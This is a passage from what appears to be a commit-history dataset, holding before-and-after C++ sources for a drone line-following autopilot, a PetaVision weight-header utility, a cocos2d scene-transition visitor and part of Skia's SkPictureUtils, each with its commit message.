SystemDrone(&inputAutoPilot, &outputAutoPilot);\n\n drone.movement(\n outputAutoPilot.Roll,\n outputAutoPilot.Pitch,\n outputAutoPilot.Gaz,\n outputAutoPilot.Yaw);\n\n std::this_thread::sleep_for(std::chrono::milliseconds(30));\n }\n\n drone.land();\n\n return 0;\n}\n<commit_msg>[Core] Add support of the emergency mode of LibLineFollowing library<commit_after>\/*\n * Copyright 2014 Jules Cléro\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\nextern \"C\"\n{\n\/** LibLineFollowing *\/\n#include \"SystemDrone.h\"\n}\n\n#include <libDroneMovement\/Drone.hpp>\n#include <libDroneVideo\/FrameGrabber.hpp>\n#include <libDroneVideo\/LineDetector.hpp>\n#include <chrono>\n#include <thread>\n\nint main(void)\n{\n using namespace ghost::libDroneMovement;\n using namespace ghost::libDroneVideo;\n\n Drone drone(\"127.0.0.1\");\n FrameGrabber frameGrabber = FrameGrabber();\n\n \/\/ Auto Pilot initialization\n inC_SystemDrone inputAutoPilot;\n outC_SystemDrone outputAutoPilot;\n\n SystemDrone_init(&outputAutoPilot);\n\n drone.takeOff();\n\n \/\/ Drop Frames\n frameGrabber.getNextVerticalFrame(),\n std::this_thread::sleep_for(std::chrono::milliseconds(500));\n\n double lineAngle = 0.0;\n bool needToGoLeft = false;\n bool needToGoRight = false;\n bool needImageUpdate = true;\n bool lineDetected = true;\n int count = 0;\n\n for (size_t i = 0; i < 1000; i++) {\n\n if (i % 10 == 0) {\n needImageUpdate = true;\n }\n\n if (needImageUpdate) {\n \/\/ Frame Analysis\n std::cout << \"Update Image: \" << std::endl;\n LineDetector<FrameGrabber::DroneVerticalFrame> lineDetector(\n frameGrabber.getNextVerticalFrame(),\n 320,\n 240);\n\n lineDetected = true;\n lineAngle = lineDetector.getLineAngle();\n needToGoRight = lineDetector.needToGoRight();\n needToGoLeft = lineDetector.needToGoLeft();\n\n if (std::isnan(lineAngle)) {\n \/\/ we don't see the line, let's assume we are good for now\n lineAngle = 0.0;\n count++;\n } else {\n lineDetected = true;\n count = 0;\n }\n\n if (count >= 5) {\n lineDetected = false;\n }\n\n inputAutoPilot.LineAngle = lineAngle;\n inputAutoPilot.RightWay = true;\n inputAutoPilot.GoLeft = needToGoLeft;\n inputAutoPilot.GoRight = needToGoRight;\n\n inputAutoPilot.ImageUpdate = needImageUpdate;\n inputAutoPilot.LineDetected = lineDetected;\n\n needImageUpdate = false;\n } else {\n inputAutoPilot.ImageUpdate = needImageUpdate;\n }\n\n float currentAngle = drone.getPsiAngle() \/ 1000.0;\n\n inputAutoPilot.currentAngle = currentAngle;\n\n std::cout << \"Angle Ligne: \" << lineAngle << std::endl;\n std::cout << \"Angle Drone: \" << currentAngle << std::endl;\n\n std::cout << \"Yaw speed Drone: \" << outputAutoPilot.Yaw << std::endl;\n\n SystemDrone(&inputAutoPilot, &outputAutoPilot);\n\n drone.movement(\n outputAutoPilot.Roll,\n outputAutoPilot.Pitch,\n outputAutoPilot.Gaz,\n outputAutoPilot.Yaw);\n\n std::this_thread::sleep_for(std::chrono::milliseconds(30));\n }\n\n drone.land();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"BufferUtilsPvp.hpp\"\n#include \"utils\/conversions.h\"\n\nnamespace PV {\n\nnamespace BufferUtils {\n\nWeightHeader buildWeightHeader(\n bool shared,\n int preLayerNx,\n int preLayerNy,\n int preLayerNf,\n int preLayerNxExt,\n int preLayerNyExt,\n int numArbors,\n double timestamp,\n int nxp,\n int nyp,\n int nfp,\n bool compress,\n float minVal,\n float maxVal) {\n WeightHeader weightHeader;\n ActivityHeader &baseHeader = weightHeader.baseHeader;\n baseHeader.headerSize = (int)sizeof(weightHeader);\n baseHeader.numParams = baseHeader.headerSize \/ 4;\n pvAssert(baseHeader.numParams * 4 == baseHeader.headerSize);\n\n baseHeader.fileType = shared ? PVP_KERNEL_FILE_TYPE : PVP_WGT_FILE_TYPE;\n baseHeader.nx = preLayerNx;\n baseHeader.ny = preLayerNy;\n baseHeader.nf = preLayerNf;\n baseHeader.numRecords = numArbors;\n baseHeader.recordSize = 0;\n\n int numPatches = preLayerNxExt * preLayerNyExt * preLayerNf;\n int numPatchItems = nxp * nyp * nfp;\n baseHeader.recordSize = numPatches * weightPatchSize(numPatchItems, compress);\n if (compress) {\n baseHeader.dataSize = (int)sizeof(unsigned char);\n baseHeader.dataType = returnDataType<unsigned char>();\n }\n else {\n baseHeader.dataSize = (int)sizeof(float);\n baseHeader.dataType = returnDataType<float>();\n }\n baseHeader.nxProcs = 1;\n baseHeader.nyProcs = 1;\n baseHeader.nxExtended = preLayerNxExt;\n baseHeader.nyExtended = preLayerNyExt;\n baseHeader.kx0 = 0;\n baseHeader.ky0 = 0;\n baseHeader.nBatch = 1;\n baseHeader.nBands = numArbors;\n baseHeader.timestamp = timestamp;\n\n weightHeader.nxp = nxp;\n weightHeader.nyp = nyp;\n weightHeader.nfp = nfp;\n weightHeader.minVal = minVal;\n weightHeader.maxVal = maxVal;\n weightHeader.numPatches = numPatches;\n\n return weightHeader;\n}\n\nWeightHeader buildSharedWeightHeader(\n int nxp,\n int nyp,\n int nfp,\n int numArbors,\n int numPatchesX,\n int numPatchesY,\n int numPatchesF,\n double timestamp,\n bool compress,\n float minVal,\n float maxVal) {\n WeightHeader weightHeader = buildWeightHeader(\n true \/* shared weights*\/,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesX,\n numPatchesY,\n numArbors,\n timestamp,\n nxp,\n nyp,\n nfp,\n compress,\n minVal,\n maxVal);\n\n return weightHeader;\n}\n\nWeightHeader buildNonsharedWeightHeader(\n int nxp,\n int nyp,\n int nfp,\n int numArbors,\n bool extended,\n double timestamp,\n PVLayerLoc const *preLayerLoc,\n PVLayerLoc const *postLayerLoc,\n int numColumnProcesses,\n int numRowProcesses,\n float minVal,\n float maxVal,\n bool compress) {\n int numPatchesX, numPatchesY, numPatchesF, numPatchesXExt, numPatchesYExt;\n calcNumberOfPatches(\n preLayerLoc,\n postLayerLoc,\n numColumnProcesses,\n numRowProcesses,\n extended,\n nxp,\n nyp,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesXExt,\n numPatchesYExt);\n\n WeightHeader weightHeader = buildWeightHeader(\n false \/*non-shared weights*\/,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesXExt,\n numPatchesYExt,\n numArbors,\n timestamp,\n nxp,\n nyp,\n nfp,\n compress,\n minVal,\n maxVal);\n\n return weightHeader;\n}\n\nstd::size_t weightPatchSize(int numWeightsInPatch, bool compressed) {\n if (compressed) {\n return weightPatchSize<unsigned char>(numWeightsInPatch);\n }\n else {\n return weightPatchSize<float>(numWeightsInPatch);\n }\n}\n\nvoid calcNumberOfPatches(\n PVLayerLoc const *preLayerLoc,\n PVLayerLoc const *postLayerLoc,\n int numColumnProcesses,\n int numRowProcesses,\n bool extended,\n int nxp,\n int nyp,\n int &numPatchesX,\n int &numPatchesY,\n int &numPatchesF,\n int &numPatchesXExt,\n int &numPatchesYExt) {\n int nxPreRestricted = preLayerLoc->nx * numColumnProcesses;\n int nyPreRestricted = preLayerLoc->ny * numRowProcesses;\n\n numPatchesX = preLayerLoc->nx * numColumnProcesses;\n numPatchesY = preLayerLoc->ny * numRowProcesses;\n\n numPatchesXExt = numPatchesX;\n numPatchesYExt = numPatchesY;\n if (extended) {\n int marginX = requiredConvolveMargin(preLayerLoc->nx, postLayerLoc->nx, nxp);\n numPatchesXExt += marginX + marginX;\n int marginY = requiredConvolveMargin(preLayerLoc->ny, postLayerLoc->ny, nyp);\n numPatchesYExt += marginY + marginY;\n }\n numPatchesF = preLayerLoc->nf;\n}\n\n} \/\/ end namespace BufferUtils\n} \/\/ end namespace PV\n<commit_msg>Fixes recordsize from imperfect merge<commit_after>#include \"BufferUtilsPvp.hpp\"\n#include \"utils\/conversions.h\"\n\nnamespace PV {\n\nnamespace BufferUtils {\n\nWeightHeader buildWeightHeader(\n bool shared,\n int preLayerNx,\n int preLayerNy,\n int preLayerNf,\n int preLayerNxExt,\n int preLayerNyExt,\n int numArbors,\n double timestamp,\n int nxp,\n int nyp,\n int nfp,\n bool compress,\n float minVal,\n float maxVal) {\n WeightHeader weightHeader;\n ActivityHeader &baseHeader = weightHeader.baseHeader;\n baseHeader.headerSize = (int)sizeof(weightHeader);\n baseHeader.numParams = baseHeader.headerSize \/ 4;\n pvAssert(baseHeader.numParams * 4 == baseHeader.headerSize);\n\n baseHeader.fileType = shared ? PVP_KERNEL_FILE_TYPE : PVP_WGT_FILE_TYPE;\n baseHeader.nx = preLayerNx;\n baseHeader.ny = preLayerNy;\n baseHeader.nf = preLayerNf;\n baseHeader.numRecords = numArbors;\n baseHeader.recordSize = 0;\n\n int numPatches = preLayerNxExt * preLayerNyExt * preLayerNf;\n int numPatchItems = nxp * nyp * nfp;\n if (compress) {\n baseHeader.dataSize = (int)sizeof(unsigned char);\n baseHeader.dataType = returnDataType<unsigned char>();\n }\n else {\n baseHeader.dataSize = (int)sizeof(float);\n baseHeader.dataType = returnDataType<float>();\n }\n baseHeader.nxProcs = 1;\n baseHeader.nyProcs = 1;\n baseHeader.nxExtended = preLayerNxExt;\n baseHeader.nyExtended = preLayerNyExt;\n baseHeader.kx0 = 0;\n baseHeader.ky0 = 0;\n baseHeader.nBatch = 1;\n baseHeader.nBands = numArbors;\n baseHeader.timestamp = timestamp;\n\n weightHeader.nxp = nxp;\n weightHeader.nyp = nyp;\n weightHeader.nfp = nfp;\n weightHeader.minVal = minVal;\n weightHeader.maxVal = maxVal;\n weightHeader.numPatches = numPatches;\n\n return weightHeader;\n}\n\nWeightHeader buildSharedWeightHeader(\n int nxp,\n int nyp,\n int nfp,\n int numArbors,\n int numPatchesX,\n int numPatchesY,\n int numPatchesF,\n double timestamp,\n bool compress,\n float minVal,\n float maxVal) {\n WeightHeader weightHeader = buildWeightHeader(\n true \/* shared weights*\/,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesX,\n numPatchesY,\n numArbors,\n timestamp,\n nxp,\n nyp,\n nfp,\n compress,\n minVal,\n maxVal);\n\n return weightHeader;\n}\n\nWeightHeader buildNonsharedWeightHeader(\n int nxp,\n int nyp,\n int nfp,\n int numArbors,\n bool extended,\n double timestamp,\n PVLayerLoc const *preLayerLoc,\n PVLayerLoc const *postLayerLoc,\n int numColumnProcesses,\n int numRowProcesses,\n float minVal,\n float maxVal,\n bool compress) {\n int numPatchesX, numPatchesY, numPatchesF, numPatchesXExt, numPatchesYExt;\n calcNumberOfPatches(\n preLayerLoc,\n postLayerLoc,\n numColumnProcesses,\n numRowProcesses,\n extended,\n nxp,\n nyp,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesXExt,\n numPatchesYExt);\n\n WeightHeader weightHeader = buildWeightHeader(\n false \/*non-shared weights*\/,\n numPatchesX,\n numPatchesY,\n numPatchesF,\n numPatchesXExt,\n numPatchesYExt,\n numArbors,\n timestamp,\n nxp,\n nyp,\n nfp,\n compress,\n minVal,\n maxVal);\n\n return weightHeader;\n}\n\nstd::size_t weightPatchSize(int numWeightsInPatch, bool compressed) {\n if (compressed) {\n return weightPatchSize<unsigned char>(numWeightsInPatch);\n }\n else {\n return weightPatchSize<float>(numWeightsInPatch);\n }\n}\n\nvoid calcNumberOfPatches(\n PVLayerLoc const *preLayerLoc,\n PVLayerLoc const *postLayerLoc,\n int numColumnProcesses,\n int numRowProcesses,\n bool extended,\n int nxp,\n int nyp,\n int &numPatchesX,\n int &numPatchesY,\n int &numPatchesF,\n int &numPatchesXExt,\n int &numPatchesYExt) {\n int nxPreRestricted = preLayerLoc->nx * numColumnProcesses;\n int nyPreRestricted = preLayerLoc->ny * numRowProcesses;\n\n numPatchesX = preLayerLoc->nx * numColumnProcesses;\n numPatchesY = preLayerLoc->ny * numRowProcesses;\n\n numPatchesXExt = numPatchesX;\n numPatchesYExt = numPatchesY;\n if (extended) {\n int marginX = requiredConvolveMargin(preLayerLoc->nx, postLayerLoc->nx, nxp);\n numPatchesXExt += marginX + marginX;\n int marginY = requiredConvolveMargin(preLayerLoc->ny, postLayerLoc->ny, nyp);\n numPatchesYExt += marginY + marginY;\n }\n numPatchesF = preLayerLoc->nf;\n}\n\n} \/\/ end namespace BufferUtils\n} \/\/ end namespace PV\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/Include\/CTransitionVisitor.h\"\n#include \"..\/Include\/CSceneNode.h\"\n#include \"..\/Include\/CSequenceNode.h\"\n#include \"..\/Include\/CKernel.h\"\n\n#include \"..\/..\/Modules\/Util\/Include\/CStats.h\"\n\n#include \"cocos2d.h\"\n\nusing namespace cocos2d;\n\nnamespace LM\n{\n\nCTransitionVisitor::CTransitionVisitor(CKernel* a_pKernel, bool a_bTransitionNext) :\n\tm_bTransitionNext(a_bTransitionNext),\n\tm_pKernel(a_pKernel)\n{\n}\n\nResult CTransitionVisitor::ProcessNodeTopDown(CNode* a_pNode)\n{\n \/\/ pSequence is the father node of all the scenes. \n \/\/ transition will be done on the between the current scene in the node \n \/\/ (CSequenceNode::m_iCurrentNode) and the next node\n CSequenceNode* pSequence = dynamic_cast<CSequenceNode*>(a_pNode);\n CSceneNode* pScene = nullptr;\n if (pSequence)\n {\n\t pScene = dynamic_cast<CSceneNode*>(pSequence->GetCurrentNode());\n }\n if (pScene)\n {\n\t GotoScene(pSequence);\n }\n return RESULT_PRUNE;\n}\n\n\nvoid CTransitionVisitor::GotoScene(CSequenceNode* a_pSequence)\n{\n\tif (m_pKernel->m_pCurrentScene->m_bDashboardTrigger && m_bTransitionNext)\n\t{\n\t\t\/\/ init dashboard\n\t\tInitScene(m_pKernel->m_pDashboard);\n\t\treturn;\n\t}\n\tbool bSceneExists = false;\n\tif (m_bTransitionNext)\n\t{\n\t\t\/\/ if TransitioNext offset of 1 scene \n\t\tbSceneExists = a_pSequence->OffsetCurrentNode(1);\n\t}\n\telse\n\t{\n\t\t\/\/ else return to previous scene\n\t\tbSceneExists = a_pSequence->OffsetCurrentNode(-1);\n\t}\n\tif (!bSceneExists)\n\t{\n\t\treturn;\n\t}\n\tCSceneNode* pNewSceneNode = dynamic_cast<CSceneNode*>(a_pSequence->GetCurrentNode());\n\tif (!m_pKernel->PlayerHasScene(pNewSceneNode->GetSceneID()))\n\t{ \/\/ if the player does not have this scene in his list, skip it and go to the next one\n\t\tGotoScene(a_pSequence);\n\t\treturn;\n\t}\n\telse if (pNewSceneNode)\n\t{\n\t\tInitScene(pNewSceneNode);\n\t}\n\n}\n\nvoid CTransitionVisitor::InitScene(CSceneNode* a_pSceneNode)\n{\n\tScene* pNewScene = a_pSceneNode->CreateScene();\n\ta_pSceneNode->init();\n\n\tif (m_bTransitionNext)\n\t{\n\t\tDirector::getInstance()->replaceScene(TransitionSlideInR::create(0.5f, pNewScene));\n\t}\n\telse\n\t{\n\t\tDirector::getInstance()->replaceScene(TransitionSlideInL::create(0.5f, pNewScene));\n\t}\n\t\/\/CSceneNode* pOldScene = m_pKernel->m_pCurrentScene;\n\tm_pKernel->m_pCurrentScene = a_pSceneNode;\n\t\/\/pOldScene->UnInit();\n\n\tM_STATS->StartStats();\n}\n\n} \/\/ namespace LM\n<commit_msg>[FIX] dashboard crash on message, but introducing black screens on transition<commit_after>#include \"..\/Include\/CTransitionVisitor.h\"\n#include \"..\/Include\/CSceneNode.h\"\n#include \"..\/Include\/CSequenceNode.h\"\n#include \"..\/Include\/CKernel.h\"\n\n#include \"..\/..\/Modules\/Util\/Include\/CStats.h\"\n\n#include \"cocos2d.h\"\n\nusing namespace cocos2d;\n\nnamespace LM\n{\n\nCTransitionVisitor::CTransitionVisitor(CKernel* a_pKernel, bool a_bTransitionNext) :\n\tm_bTransitionNext(a_bTransitionNext),\n\tm_pKernel(a_pKernel)\n{\n}\n\nResult CTransitionVisitor::ProcessNodeTopDown(CNode* a_pNode)\n{\n \/\/ pSequence is the father node of all the scenes. \n \/\/ transition will be done on the between the current scene in the node \n \/\/ (CSequenceNode::m_iCurrentNode) and the next node\n CSequenceNode* pSequence = dynamic_cast<CSequenceNode*>(a_pNode);\n CSceneNode* pScene = nullptr;\n if (pSequence)\n {\n\t pScene = dynamic_cast<CSceneNode*>(pSequence->GetCurrentNode());\n }\n if (pScene)\n {\n\t GotoScene(pSequence);\n }\n return RESULT_PRUNE;\n}\n\n\nvoid CTransitionVisitor::GotoScene(CSequenceNode* a_pSequence)\n{\n\tif (m_pKernel->m_pCurrentScene->m_bDashboardTrigger && m_bTransitionNext)\n\t{\n\t\t\/\/ init dashboard\n\t\tInitScene(m_pKernel->m_pDashboard);\n\t\treturn;\n\t}\n\tbool bSceneExists = false;\n\tif (m_bTransitionNext)\n\t{\n\t\t\/\/ if TransitioNext offset of 1 scene \n\t\tbSceneExists = a_pSequence->OffsetCurrentNode(1);\n\t}\n\telse\n\t{\n\t\t\/\/ else return to previous scene\n\t\tbSceneExists = a_pSequence->OffsetCurrentNode(-1);\n\t}\n\tif (!bSceneExists)\n\t{\n\t\treturn;\n\t}\n\tCSceneNode* pNewSceneNode = dynamic_cast<CSceneNode*>(a_pSequence->GetCurrentNode());\n\tif (!m_pKernel->PlayerHasScene(pNewSceneNode->GetSceneID()))\n\t{ \/\/ if the player does not have this scene in his list, skip it and go to the next one\n\t\tGotoScene(a_pSequence);\n\t\treturn;\n\t}\n\telse if (pNewSceneNode)\n\t{\n\t\tInitScene(pNewSceneNode);\n\t}\n\n}\n\nvoid CTransitionVisitor::InitScene(CSceneNode* a_pSceneNode)\n{\n\tScene* pNewScene = a_pSceneNode->CreateScene();\n\ta_pSceneNode->init();\n\n\tif (m_bTransitionNext)\n\t{\n\t\tDirector::getInstance()->replaceScene(TransitionSlideInR::create(0.5f, pNewScene));\n\t}\n\telse\n\t{\n\t\tDirector::getInstance()->replaceScene(TransitionSlideInL::create(0.5f, pNewScene));\n\t}\n\tCSceneNode* pOldScene = m_pKernel->m_pCurrentScene;\n\tm_pKernel->m_pCurrentScene = a_pSceneNode;\n\tpOldScene->UnInit();\n\n\tM_STATS->StartStats();\n}\n\n} \/\/ namespace LM\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkPictureUtils.h\"\n#include \"SkCanvas.h\"\n#include \"SkData.h\"\n#include \"SkDevice.h\"\n#include \"SkPixelRef.h\"\n#include \"SkShader.h\"\n\nclass PixelRefSet {\npublic:\n PixelRefSet(SkTDArray<SkPixelRef*>* array) : fArray(array) {}\n\n \/\/ This does a linear search on existing pixelrefs, so if this list gets big\n \/\/ we should use a more complex sorted\/hashy thing.\n \/\/\n void add(SkPixelRef* pr) {\n uint32_t genID = pr->getGenerationID();\n if (fGenID.find(genID) < 0) {\n *fArray->append() = pr;\n *fGenID.append() = genID;\n\/\/ SkDebugf(\"--- adding [%d] %x %d\\n\", fArray->count() - 1, pr, genID);\n } else {\n\/\/ SkDebugf(\"--- already have %x %d\\n\", pr, genID);\n }\n }\n\nprivate:\n SkTDArray<SkPixelRef*>* fArray;\n SkTDArray<uint32_t> fGenID;\n};\n\nstatic void not_supported() {\n SkASSERT(!\"this method should never be called\");\n}\n\nstatic void nothing_to_do() {}\n\n\/**\n * This device will route all bitmaps (primitives and in shaders) to its PRSet.\n * It should never actually draw anything, so there need not be any pixels\n * behind its device-bitmap.\n *\/\nclass GatherPixelRefDevice : public SkDevice {\nprivate:\n PixelRefSet* fPRSet;\n\n void addBitmap(const SkBitmap& bm) {\n fPRSet->add(bm.pixelRef());\n }\n\n void addBitmapFromPaint(const SkPaint& paint) {\n SkShader* shader = paint.getShader();\n if (shader) {\n SkBitmap bm;\n \/\/ Check whether the shader is a gradient in order to short-circuit\n \/\/ call to asABitmap to prevent generation of bitmaps from\n \/\/ gradient shaders, which implement asABitmap.\n if (SkShader::kNone_GradientType == shader->asAGradient(NULL) &&\n shader->asABitmap(&bm, NULL, NULL)) {\n fPRSet->add(bm.pixelRef());\n }\n }\n }\n\npublic:\n GatherPixelRefDevice(const SkBitmap& bm, PixelRefSet* prset) : SkDevice(bm) {\n fPRSet = prset;\n }\n\n virtual void clear(SkColor color) SK_OVERRIDE {\n nothing_to_do();\n }\n virtual void writePixels(const SkBitmap& bitmap, int x, int y,\n SkCanvas::Config8888 config8888) SK_OVERRIDE {\n not_supported();\n }\n\n virtual void drawPaint(const SkDraw&, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPoints(const SkDraw&, SkCanvas::PointMode mode, size_t count,\n const SkPoint[], const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawRect(const SkDraw&, const SkRect&,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawOval(const SkDraw&, const SkRect&,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPath(const SkDraw&, const SkPath& path,\n const SkPaint& paint, const SkMatrix* prePathMatrix,\n bool pathIsMutable) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawBitmap(const SkDraw&, const SkBitmap& bitmap,\n const SkIRect* srcRectOrNull,\n const SkMatrix&, const SkPaint&) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawBitmapRect(const SkDraw&, const SkBitmap& bitmap,\n const SkRect* srcOrNull, const SkRect& dst,\n const SkPaint&) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawSprite(const SkDraw&, const SkBitmap& bitmap,\n int x, int y, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawText(const SkDraw&, const void* text, size_t len,\n SkScalar x, SkScalar y,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPosText(const SkDraw&, const void* text, size_t len,\n const SkScalar pos[], SkScalar constY,\n int, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawTextOnPath(const SkDraw&, const void* text, size_t len,\n const SkPath& path, const SkMatrix* matrix,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawVertices(const SkDraw&, SkCanvas::VertexMode, int vertexCount,\n const SkPoint verts[], const SkPoint texs[],\n const SkColor colors[], SkXfermode* xmode,\n const uint16_t indices[], int indexCount,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawDevice(const SkDraw&, SkDevice*, int x, int y,\n const SkPaint&) SK_OVERRIDE {\n nothing_to_do();\n }\n\nprotected:\n virtual bool onReadPixels(const SkBitmap& bitmap,\n int x, int y,\n SkCanvas::Config8888 config8888) SK_OVERRIDE {\n not_supported();\n return false;\n }\n};\n\nclass NoSaveLayerCanvas : public SkCanvas {\npublic:\n NoSaveLayerCanvas(SkDevice* device) : INHERITED(device) {}\n\n \/\/ turn saveLayer() into save() for speed, should not affect correctness.\n virtual int saveLayer(const SkRect* bounds, const SkPaint* paint,\n SaveFlags flags) SK_OVERRIDE {\n\n \/\/ Like SkPictureRecord, we don't want to create layers, but we do need\n \/\/ to respect the save and (possibly) its rect-clip.\n\n int count = this->INHERITED::save(flags);\n if (bounds) {\n this->INHERITED::clipRectBounds(bounds, flags, NULL);\n }\n return count;\n }\n\n \/\/ disable aa for speed\n virtual bool clipRect(const SkRect& rect, SkRegion::Op op,\n bool doAA) SK_OVERRIDE {\n return this->INHERITED::clipRect(rect, op, false);\n }\n\n \/\/ for speed, just respect the bounds, and disable AA. May give us a few\n \/\/ false positives and negatives.\n virtual bool clipPath(const SkPath& path, SkRegion::Op op,\n bool doAA) SK_OVERRIDE {\n return this->INHERITED::clipRect(path.getBounds(), op, false);\n }\n\nprivate:\n typedef SkCanvas INHERITED;\n};\n\nSkData* SkPictureUtils::GatherPixelRefs(SkPicture* pict, const SkRect& area) {\n if (NULL == pict) {\n return NULL;\n }\n\n \/\/ this test also handles if either area or pict's width\/height are empty\n if (!SkRect::Intersects(area,\n SkRect::MakeWH(SkIntToScalar(pict->width()),\n SkIntToScalar(pict->height())))) {\n return NULL;\n }\n\n SkTDArray<SkPixelRef*> array;\n PixelRefSet prset(&array);\n\n SkBitmap emptyBitmap;\n emptyBitmap.setConfig(SkBitmap::kARGB_8888_Config, pict->width(), pict->height());\n \/\/ note: we do not set any pixels (shouldn't need to)\n\n GatherPixelRefDevice device(emptyBitmap, &prset);\n NoSaveLayerCanvas canvas(&device);\n\n canvas.clipRect(area, SkRegion::kIntersect_Op, false);\n canvas.drawPicture(*pict);\n\n SkData* data = NULL;\n int count = array.count();\n if (count > 0) {\n data = SkData::NewFromMalloc(array.detach(), count * sizeof(SkPixelRef*));\n }\n return data;\n}\n<commit_msg>Accelerate handling of clipRRect in calls to SkPictureUtils::GatherPixelRefs<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkPictureUtils.h\"\n#include \"SkCanvas.h\"\n#include \"SkData.h\"\n#include \"SkDevice.h\"\n#include \"SkPixelRef.h\"\n#include \"SkShader.h\"\n#include \"SkRRect.h\"\n\nclass PixelRefSet {\npublic:\n PixelRefSet(SkTDArray<SkPixelRef*>* array) : fArray(array) {}\n\n \/\/ This does a linear search on existing pixelrefs, so if this list gets big\n \/\/ we should use a more complex sorted\/hashy thing.\n \/\/\n void add(SkPixelRef* pr) {\n uint32_t genID = pr->getGenerationID();\n if (fGenID.find(genID) < 0) {\n *fArray->append() = pr;\n *fGenID.append() = genID;\n\/\/ SkDebugf(\"--- adding [%d] %x %d\\n\", fArray->count() - 1, pr, genID);\n } else {\n\/\/ SkDebugf(\"--- already have %x %d\\n\", pr, genID);\n }\n }\n\nprivate:\n SkTDArray<SkPixelRef*>* fArray;\n SkTDArray<uint32_t> fGenID;\n};\n\nstatic void not_supported() {\n SkASSERT(!\"this method should never be called\");\n}\n\nstatic void nothing_to_do() {}\n\n\/**\n * This device will route all bitmaps (primitives and in shaders) to its PRSet.\n * It should never actually draw anything, so there need not be any pixels\n * behind its device-bitmap.\n *\/\nclass GatherPixelRefDevice : public SkDevice {\nprivate:\n PixelRefSet* fPRSet;\n\n void addBitmap(const SkBitmap& bm) {\n fPRSet->add(bm.pixelRef());\n }\n\n void addBitmapFromPaint(const SkPaint& paint) {\n SkShader* shader = paint.getShader();\n if (shader) {\n SkBitmap bm;\n \/\/ Check whether the shader is a gradient in order to short-circuit\n \/\/ call to asABitmap to prevent generation of bitmaps from\n \/\/ gradient shaders, which implement asABitmap.\n if (SkShader::kNone_GradientType == shader->asAGradient(NULL) &&\n shader->asABitmap(&bm, NULL, NULL)) {\n fPRSet->add(bm.pixelRef());\n }\n }\n }\n\npublic:\n GatherPixelRefDevice(const SkBitmap& bm, PixelRefSet* prset) : SkDevice(bm) {\n fPRSet = prset;\n }\n\n virtual void clear(SkColor color) SK_OVERRIDE {\n nothing_to_do();\n }\n virtual void writePixels(const SkBitmap& bitmap, int x, int y,\n SkCanvas::Config8888 config8888) SK_OVERRIDE {\n not_supported();\n }\n\n virtual void drawPaint(const SkDraw&, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPoints(const SkDraw&, SkCanvas::PointMode mode, size_t count,\n const SkPoint[], const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawRect(const SkDraw&, const SkRect&,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawOval(const SkDraw&, const SkRect&,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPath(const SkDraw&, const SkPath& path,\n const SkPaint& paint, const SkMatrix* prePathMatrix,\n bool pathIsMutable) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawBitmap(const SkDraw&, const SkBitmap& bitmap,\n const SkIRect* srcRectOrNull,\n const SkMatrix&, const SkPaint&) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawBitmapRect(const SkDraw&, const SkBitmap& bitmap,\n const SkRect* srcOrNull, const SkRect& dst,\n const SkPaint&) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawSprite(const SkDraw&, const SkBitmap& bitmap,\n int x, int y, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmap(bitmap);\n }\n virtual void drawText(const SkDraw&, const void* text, size_t len,\n SkScalar x, SkScalar y,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawPosText(const SkDraw&, const void* text, size_t len,\n const SkScalar pos[], SkScalar constY,\n int, const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawTextOnPath(const SkDraw&, const void* text, size_t len,\n const SkPath& path, const SkMatrix* matrix,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawVertices(const SkDraw&, SkCanvas::VertexMode, int vertexCount,\n const SkPoint verts[], const SkPoint 